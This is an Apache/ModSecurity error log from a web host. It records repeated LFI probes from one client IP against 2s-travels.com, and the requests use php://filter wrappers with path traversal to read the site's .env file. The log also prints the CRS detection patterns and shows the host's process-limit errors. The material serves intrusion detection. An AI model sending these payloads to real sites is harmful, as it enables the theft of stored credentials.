[Fri Jul 17 08:55:11.145367 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPQAAAAY"]
[Fri Jul 17 08:55:11.145496 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.145826 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBPQAAAAY"]
[Fri Jul 17 08:55:11.146453 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&doc=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=fGiiuTH_HZsDBUKBmE0vmOQSKYpqZYCyuw2IZcrEdAfB2AvX_wmz_8jg3QpYWfdE75LrlqvP8ntF2YuRbjDkHDdLleZgwB9qMeO1rQirkZNcAzuIKFOqbxBN-nWPcYEuE8vuJZOZ4boLjbbIGl3ke_63oEoGNImFVhFlATM-fNnBdToTcR1_MUZQ0pG7ndlLjFCJ9hrUjz6tuq7URBzQWxJAQkng-FXgSoQ3yRXJ9xdtNQoddomtjkob0t9o5T93sBrxm-u969-33WdErS7Aug6E&debug=GCRO6EQMTB4Q5FBMUETQO4JMRN6UINTVDU3Z75SU3O63PVDNHLBIO62CHEJLEFD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wgAAAAw"]
[Fri Jul 17 08:55:11.146495 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wgAAAAw"]
[Fri Jul 17 08:55:11.146540 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=fGiiuTH_HZsDBUKBmE0vmOQSKYpqZYCyuw2IZcrEdAfB2AvX_wmz_8jg3QpYWfdE75LrlqvP8ntF2YuRbjDkHDdLleZgwB9qMeO1rQirkZNcAzuIKFOqbxBN-nWPcYEuE8vuJZOZ4boLjbbIGl3ke_63oEoGNImFVhFlATM-fNnBdToTcR1_MUZQ0pG7ndlLjFCJ9hrUjz6tuq7URBzQWxJAQkng-FXgSoQ3yRXJ9xdtNQoddomtjkob0t9o5T93sBrxm-u969-33WdErS7Aug6E&debug=GCRO6EQMTB4Q5FBMUETQO4JMRN6UINTVDU3Z75SU3O63PVDNHLBIO62CHEJLEFDERYUEKIMO2RWYFXG3QDMF4QHMMA7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wgAAAAw"]
[Fri Jul 17 08:55:11.146568 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=fgiiuth_hzsdbukbme0vmoqskypqzycyuw2izcredafb2avx_wmz_8jg3qpywfde75lrlqvp8ntf2yurbjdkhddllezgwb9qmeo1rqirkzncazuikfoqbxbn-nwpcyeue8vujzoz4boljbbigl3ke_63oeognimfvhflatm-fnnbdtotcr1_muzq0pg7ndlljfcj9hrujz6tuq7urbzqwxjaqkng-fxgsoq3yrxj9xdtnqoddomtjkob0t9o5t93sbrxm-u969-33wders7aug6e&debug=gcro6eqmtb4q5fbmuetqo4jmrn6uintvdu3z75su3o63pvdnhlbio62chejlefderyuekimo2rwyfxg3qdmf4qhmma7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wgAAAAw"]
[Fri Jul 17 08:55:11.146599 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wgAAAAw"]
[Fri Jul 17 08:55:11.146635 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wgAAAAw"]
[Fri Jul 17 08:55:11.146974 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wgAAAAw"]
[Fri Jul 17 08:55:11.147975 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wgAAAAw"]
[Fri Jul 17 08:55:11.148127 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.148394 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95wgAAAAw"]
[Fri Jul 17 08:55:11.151413 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gAAAABA"]
[Fri Jul 17 08:55:11.152518 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gAAAABA"]
[Fri Jul 17 08:55:11.152738 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.153099 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8gAAAABA"]
[Fri Jul 17 08:55:11.154395 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&document=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=u8ElyUtBKr4jSzqnd0SCDFqhYv_PvgjPwpxAIprjSWkc0XwZYCwp1wL8RvtHUGXeFUQgCHsOhUrKeb_7AVp4PeMi9aMsTTnif9Wv4DqTt88VVzDkt-JWu44GrvQ66nnAKn1Vm50nO6v_sm8pecdstJRfDOLAILRgW9nBLwuWzr1DFb0WY5q3R5WZDq-zwUDhgAvm0f1tGGYvAjVeY3XbXFS1Z7jF7lJ7l790Mj42hcou9cIr-u6iBWr9i9BrRQmuupk0iEPE9m34qjyY7Fj3WFfC&anything=4FLZBA3QHZCAGXTUDINMC7VHESUKN7CCHRMAZILWVRYIDNFEYSQLGUVJVDFNJFLBB4A4DL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLQAAAAc"]
[Fri Jul 17 08:55:11.154455 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLQAAAAc"]
[Fri Jul 17 08:55:11.154501 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.base64-encode/resource=../../../.env&ts=u8ElyUtBKr4jSzqnd0SCDFqhYv_PvgjPwpxAIprjSWkc0XwZYCwp1wL8RvtHUGXeFUQgCHsOhUrKeb_7AVp4PeMi9aMsTTnif9Wv4DqTt88VVzDkt-JWu44GrvQ66nnAKn1Vm50nO6v_sm8pecdstJRfDOLAILRgW9nBLwuWzr1DFb0WY5q3R5WZDq-zwUDhgAvm0f1tGGYvAjVeY3XbXFS1Z7jF7lJ7l790Mj42hcou9cIr-u6iBWr9i9BrRQmuupk0iEPE9m34qjyY7Fj3WFfC&anything=4FLZBA3QHZCAGXTUDINMC7VHESUKN7CCHRMAZILWVRYIDNFEYSQLGUVJVDFNJFLBB4A4DL5IXAIWS6EA4URILKQD6X5IFHEO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLQAAAAc"]
[Fri Jul 17 08:55:11.154545 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.base64-encode/resource=../../../.env&ts=u8elyutbkr4jszqnd0scdfqhyv_pvgjpwpxaiprjswkc0xwzycwp1wl8rvthugxefuqgchsohurkeb_7avp4pemi9amsttnif9wv4dqtt88vvzdkt-jwu44grvq66nnakn1vm50no6v_sm8pecdstjrfdolailrgw9nblwuwzr1dfb0wy5q3r5wzdq-zwudhgavm0f1tggyvajvey3xbxfs1z7jf7lj7l790mj42hcou9cir-u6ibwr9i9brrqmuupk0iepe9m34qjyy7fj3wffc&anything=4flzba3qhzcagxtudinmc7vhesukn7cchrmazilwvryidnfeysqlguvjvdfnjflbb4a4dl5ixaiws6ea4urilkqd6x5ifheo..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLQAAAAc"]
[Fri Jul 17 08:55:11.154573 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLQAAAAc"]
[Fri Jul 17 08:55:11.154603 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLQAAAAc"]
[Fri Jul 17 08:55:11.154959 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLQAAAAc"]
[Fri Jul 17 08:55:11.155980 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MLQAAAAc"]
[Fri Jul 17 08:55:11.156096 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.156410 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MLQAAAAc"]
[Fri Jul 17 08:55:11.160356 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGAAAABQ"]
[Fri Jul 17 08:55:11.161413 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sGAAAABQ"]
[Fri Jul 17 08:55:11.161540 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.161831 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sGAAAABQ"]
